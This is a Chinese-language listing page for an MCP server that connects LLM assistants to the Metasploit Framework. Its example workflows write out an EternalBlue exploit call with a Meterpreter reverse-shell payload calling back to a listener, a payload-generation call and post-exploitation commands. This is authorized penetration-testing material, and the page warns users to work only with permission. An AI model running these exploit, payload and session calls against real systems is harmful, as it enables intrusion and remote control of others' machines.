M

Metasploit桥

@GH05TCREW/MetasploitMCP
0 Stars 344 次浏览 GH05TCREW 更新于 2026-08-23

为大型语言模型和Metasploit框架之间提供了一个桥梁,使人工智能助手能够通过自然语言访问和控制渗透测试功能。

MCP 服务配置

复制以下 JSON 到 OPClaw 或其他 MCP 客户端的配置文件中即可使用

{
  "mcpServers": {
    "metasploit": {
      "args": [
        "--directory",
        "C:\\path\\to\\MetasploitMCP",
        "run",
        "MetasploitMCP.py",
        "--transport",
        "stdio"
      ],
      "command": "uv",
      "env": {
        "MSF_PASSWORD": "yourpassword"
      }
    }
  }
}

该服务需要配置环境变量:MSF_PASSWORD、MSF_PORT、MSF_SERVER、MSF_SSL、PAYLOAD_SAVE_DIR

服务介绍

Metasploit MCP 服务器

用于 Metasploit Framework 集成的 Model Context Protocol (MCP) 服务器。

描述

此 MCP 服务器为像 Claude 这样的大型语言模型与 Metasploit Framework 渗透测试平台之间提供了一个桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,从而实现对复杂安全测试工作流程的自然语言接口。

特性

模块信息

  • list_exploits: 搜索并列出可用的 Metasploit 漏洞利用模块
  • list_payloads: 搜索并列出可用的 Metasploit 负载模块,可选平台和架构过滤

漏洞利用工作流

  • run_exploit: 配置并针对目标执行漏洞利用,可选择先运行检查
  • run_auxiliary_module: 使用自定义选项运行任何 Metasploit 辅助模块
  • run_post_module: 对现有会话执行后渗透模块

负载生成

  • generate_payload: 使用 Metasploit RPC 生成负载文件(本地保存)

会话管理

  • list_active_sessions: 显示当前 Metasploit 会话的详细信息
  • send_session_command: 在活动 shell 或 Meterpreter 会话中运行命令
  • terminate_session: 强制结束一个活动会话

处理程序管理

  • list_listeners: 显示所有活动处理程序和后台任务
  • start_listener: 创建一个新的 multi/handler 以接收连接
  • stop_job: 终止任何正在运行的任务或处理程序

前提条件

  • 已安装 Metasploit Framework 并运行 msfrpcd
  • Python 3.10 或更高版本
  • 所需的 Python 包(见 requirements.txt)

安装

  1. 克隆此仓库
  2. 安装依赖项:
    pip install -r requirements.txt
    
  3. 配置环境变量(可选):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # 可选:生成负载的保存路径
    

使用

启动 Metasploit RPC 服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

对于 Claude Desktop 集成,配置 claude_desktop_config.json

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

安全考虑

⚠️ 重要安全警告

此工具提供了直接访问 Metasploit Framework 功能的能力,其中包括强大的漏洞利用功能。请负责任地使用,并且仅在您明确获得许可进行安全测试的环境中使用。

  • 在执行前始终验证和审查所有命令
  • 仅在隔离的测试环境中或在适当授权的情况下运行
  • 注意后渗透命令可能导致系统发生重大修改

示例工作流

基本漏洞利用

  1. 列出可用的漏洞利用:list_exploits("ms17_010")
  2. 选择并运行一个漏洞利用:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话:list_active_sessions()
  4. 运行命令:send_session_command(1, "whoami")

后渗透

  1. 运行一个后渗透模块:run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令:send_session_command(1, "sysinfo")
  3. 完成后终止会话:terminate_session(1)

处理程序管理

  1. 启动监听器:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动的监听器:list_listeners()
  3. 生成载荷:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止监听器:stop_job(1)

配置选项

载荷保存目录

默认情况下,使用 generate_payload 生成的载荷将保存到您主文件夹中的 payloads 目录(~/payloadsC:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。

设置环境变量:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (命令提示符):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • 在 Claude 桌面配置中:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // 只有当您希望覆盖默认值时才添加
    }
    

注意: 如果指定了自定义路径,请确保该路径存在或应用程序有权创建它。如果路径无效,可能会导致载荷生成失败。

许可证

Apache 2.0

相关 MCP 服务